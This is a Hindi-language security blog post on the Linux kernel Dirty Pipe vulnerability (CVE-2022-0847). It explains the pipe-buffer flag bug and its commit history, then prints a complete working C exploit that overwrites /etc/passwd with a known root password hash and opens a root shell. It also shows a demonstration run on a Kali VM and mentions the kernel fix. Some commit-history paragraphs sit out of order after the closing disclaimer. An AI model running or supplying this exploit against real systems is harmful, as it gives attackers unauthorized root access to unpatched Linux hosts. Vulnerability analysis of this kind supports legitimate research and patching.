
CVE-2022-0847 (DirtyPipe) के लिए गहन विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Linux कर्नेल भेद्यता जो अप्रारंभित पाइप बफर फ्लैग के माध्यम से मनमानी फ़ाइल ओवरराइट और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाती है।
title: CVE-2022-0847 (DirtyPipe स्थानीय विशेषाधिकार वृद्धि) भेद्यता विश्लेषण date: 2022-03-08 14:41:20 tags: - लिनक्स विशेषाधिकार वृद्धि categories: - सुरक्षा अनुसंधान
CVE-2022-0847लिनक्सकर्नेल में5.8के बाद से एक भेद्यता है, जिसका उपयोग करके हमलावर किसी भी केवल-पढ़ने योग्य फ़ाइल में डेटा को अधिलेखित कर सकता है। इससे सामान्य विशेषाधिकारों कोrootविशेषाधिकारों तक बढ़ाया जा सकता है, क्योंकि गैर-विशेषाधिकार प्राप्त प्रक्रिया रूट प्रक्रिया में कोड इंजेक्ट कर सकती है।
CVE-2022-0847CVE-2016-5195 “Dirty Cow”(गंदी गाय विशेषाधिकार वृद्धि) के समान है, और इसका शोषण करना आसान है। भेद्यता लेखक ने इसेDirty Pipeनाम दिया।
यह ब्लॉग मुख्य रूप से संबंधित सुरक्षा घटनाओं और भेद्यता लेखों को रिकॉर्ड करने के लिए है, ताकि सभी अध्ययन, आदान-प्रदान और परीक्षण कर सकें। इस ब्लॉग लेख में दी गई जानकारी या उपकरणों के प्रसार, उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और क्षति के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक कोई जिम्मेदारी नहीं लेता है।
खतरे का स्तर: उच्च
POC/EXP: सार्वजनिक
प्रभावित संस्करण: लिनक्स कर्नेल 5.8 और उसके बाद के संस्करण
नोट: सुरक्षित संस्करण: लिनक्स कर्नेल >= 5.16.11, लिनक्स कर्नेल >= 5.15.25, लिनक्स कर्नेल >= 5.10.102
यहाँ भेद्यता के विवरण का संक्षिप्त परिचय दिया गया है।
कुछ अवधारणाएँ:
Linux pipe: अर्ध-द्वैध, डेटा प्रवाह केवल एक सिरे से दूसरे सिरे तक हो सकता है
pipe_buffer: पाइप कैश, पाइप में लिखे गए डेटा को अस्थायी रूप से संग्रहीत करने के लिए, पढ़ना और लिखना दोनों पाइप कैश में होता है
page: पृष्ठ फ्रेम, 4kb, पाइप कैश के साथ एक-से-एक संबंध
pipe_buf_operations: पाइप कैश संचालन सेट संग्रहीत करने के लिए
can_merge: मर्ज फ़्लैग, यदि सामान्य पाइप पढ़ना/लिखना मौजूदा बफर में डेटा को मर्ज कर सकता है तो 1 पर सेट करें। यदि 0 पर सेट किया जाता है, तो नए पाइप पृष्ठ खंड का उपयोग हमेशा नए डेटा के लिए किया जाता है।
splice(): दो फ़ाइल डिस्क्रिप्टर के बीच डेटा स्थानांतरित करता है, sendfile() फ़ंक्शन के समान, पाइप का समर्थन करता है और शून्य-प्रतिलिपि भी है। यह फ़ाइल के पेज कैश और पाइप कैश को बांध देता है, अर्थात लिखते समय दोनों एक साथ प्रभावित होते हैं। अनुमति जाँच केवल डेटा स्रोत फ़ाइल पर पढ़ने की अनुमति की जाँच करती है, लिखते समय कोई अनुमति जाँच नहीं होती। मोटे तौर पर कॉल श्रृंखला इस प्रकार है:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

लिनक्स पाइप "मर्ज" जाँच का विकास इतिहास:
यहाँ लेखक के परिचय के अनुसार कोड का संक्षिप्त विश्लेषण दिया गया है।
प्रारंभिक लिनक्स सिस्टम और अवधारणा परिचय में समान, can_merge फ़्लैग मौजूद था, जिसका उपयोग यह चिह्नित करने के लिए किया जाता था कि क्या नया डेटा मौजूदा पाइप कैश में लिखा जा सकता है।
Commit 5274f052e7b3 ने splice() फ़ंक्शन जोड़ा, लेकिन सत्यापन में कोई बदलाव नहीं हुआ, यह अभी भी can_merge फ़्लैग के आधार पर निर्धारित करता था कि वर्तमान पाइप कैश उपलब्ध है या नहीं।


Commit 01e7187b4119 ने can_merge फ़्लैग का उपयोग बंद कर दिया और इसके बजाय struct pipe_buf_operations पॉइंटर की तुलना की। क्योंकि केवल anon_pipe_buf_ops प्रकार नए डेटा को लिखने की अनुमति देता है, इसलिए केवल यह जाँचना आवश्यक था कि क्या यह वह प्रकार है।


इसलिए लेखक के पास निम्नलिखित उपयोग विचार हैं:
pipe_buffer का PIPE_BUF_FLAG_CAN_MERGE फ़्लैग सेट करेंsplice पाइप कैश और पेज कैश को बांध देगा।write अंततः copy_page_from_iter() के माध्यम से लिखता है, क्योंकि PIPE_BUF_FLAG_CAN_MERGE फ़्लैग के कारण, लेखन सीधे पूरा हो जाता है।Exp विवरण
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // p[0] और p[1] बनाएँ जो पाइप के दो सिरों को इंगित करते हैं। पूर्व पढ़ता है, बाद वाला लिखता है
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // पाइप का आकार प्राप्त करें
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // पाइप भरें और PIPE_BUF_FLAG_CAN_MERGE सेट करें
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { // पाइप खाली करें, लेकिन फ़्लैग बनाए रखें
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd"; // लक्ष्य फ़ाइल पथ परिभाषित करें
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); // /tmp/passwd.bak बैकअप बनाएँ
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) { // जाँचें कि फ़ाइल पढ़ने/लिखने के लिए सामान्य रूप से खुली है या नहीं
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF) // बाइट दर बाइट लिखें
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root" // ऑफ़सेट परिभाषित करें, यानी लक्ष्य स्थान को 'root' फ़ील्ड के बाद ओवरराइट करें
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron // ओवरराइट डेटा परिभाषित करें
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) { // जाँचें कि लिखने की स्थिति पृष्ठ सीमा पर है या नहीं
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; // वर्तमान पृष्ठ का अंत परिभाषित करें
const loff_t end_offset = offset + (loff_t)data_size; // ओवरराइट डेटा का अंत परिभाषित करें
if (end_offset > next_page) { // जाँचें कि ओवरराइट पृष्ठ सीमा पार करता है या नहीं
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-) // केवल-पढ़ने के लिए लक्ष्य फ़ाइल खोलें
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st; // लक्ष्य फ़ाइल जानकारी संग्रहीत करने के लिए st परिभाषित करें
if (fstat(fd, &st)) { // लक्ष्य फ़ाइल स्थिति प्राप्त करें
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) { // जाँचें कि ऑफ़सेट फ़ाइल बाइट्स से बड़ा है या नहीं
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) { // जाँचें कि ओवरराइट का अंत फ़ाइल बाइट्स से बड़ा है या नहीं
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p); // पाइप बनाएँ, फ़्लैग को PIPE_BUF_FLAG_CAN_MERGE पर सेट करें
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset; // ऑफ़सेट से 1 बाइट पहले स्थिति पर जाएँ
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // उस बाइट को स्प्लाइस करके पाइप पर भेजें
if (nbytes < 0) { // जाँचें कि स्थानांतरण सफल हुआ या नहीं, -1 का अर्थ विफलता
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) { // 0 का अर्थ है कि स्थानांतरित करने के लिए कोई डेटा नहीं
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size); // ओवरराइट डेटा को पाइप में लिखें
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv); // रूट के अंतर्गत शेल खोलें
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
वर्तमान में प्रदर्शन के लिए kali वर्चुअल मशीन का उपयोग किया जा रहा है।
लक्ष्य सिस्टम आवश्यकता: केवल gcc की उपस्थिति
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
exp प्राप्त करेंgit clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
./compile.sh # gcc कम्पाइल
./exploit # exp चलाएँ, निम्न error संदेश लौटाता है
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
पासवर्ड: aaron
लॉगिन के बाद रूट विशेषाधिकार प्राप्त होता है
passwd फ़ाइल पुनर्स्थापित करेंmv /tmp/passwd.bak /etc/passwd
पहले merge विशेषता सेटिंग को ठीक करें

दूसरा, flags प्रारंभिक सेटिंग जोड़ें


यहाँ हम Psyduck विशेषज्ञ का बहुत-बहुत धन्यवाद करते हैं, जिन्होंने अपना बहुमूल्य समय देकर भेद्यता प्रकटकर्ता के exp के आधार पर सिद्धांत विश्लेषण और समीक्षा की। विशेषज्ञ ने बताया कि उन्होंने स्थानीय रूप से अंतर्निहित स्तर पर संबंधित डिबगिंग भी की है, लेकिन अभी तक कोई स्पष्ट डेटा कॉल श्रृंखला नहीं मिली है, और वे अभी भी गहराई से अध्ययन कर रहे हैं।
यह ब्लॉग मुख्य रूप से संबंधित सुरक्षा घटनाओं और भेद्यता लेखों को रिकॉर्ड करने के लिए है, ताकि सभी अध्ययन, आदान-प्रदान और परीक्षण कर सकें। इस ब्लॉग लेख में दी गई जानकारी या उपकरणों के प्रसार, उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और क्षति के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक कोई जिम्मेदारी नहीं लेता है।
Commit 241699cd72a8 ने दो नए फ़ंक्शन जोड़े, जो नया struct pipe_buf_operations आवंटित कर सकते थे, लेकिन उनके flags फ़्लैग को प्रारंभ नहीं करते थे।

Commit f6dd975583bd ने इस पॉइंटर तुलना को प्रति-बफर फ़्लैग PIPE_BUF_FLAG_CAN_MERGE की तुलना में बदल दिया और PIPE_BUF_FLAG_CAN_MERGE को इंजेक्ट करने की अनुमति दी, साथ ही अन्य प्रकार के buf_ops की परिभाषा और उपयोग को हटा दिया।


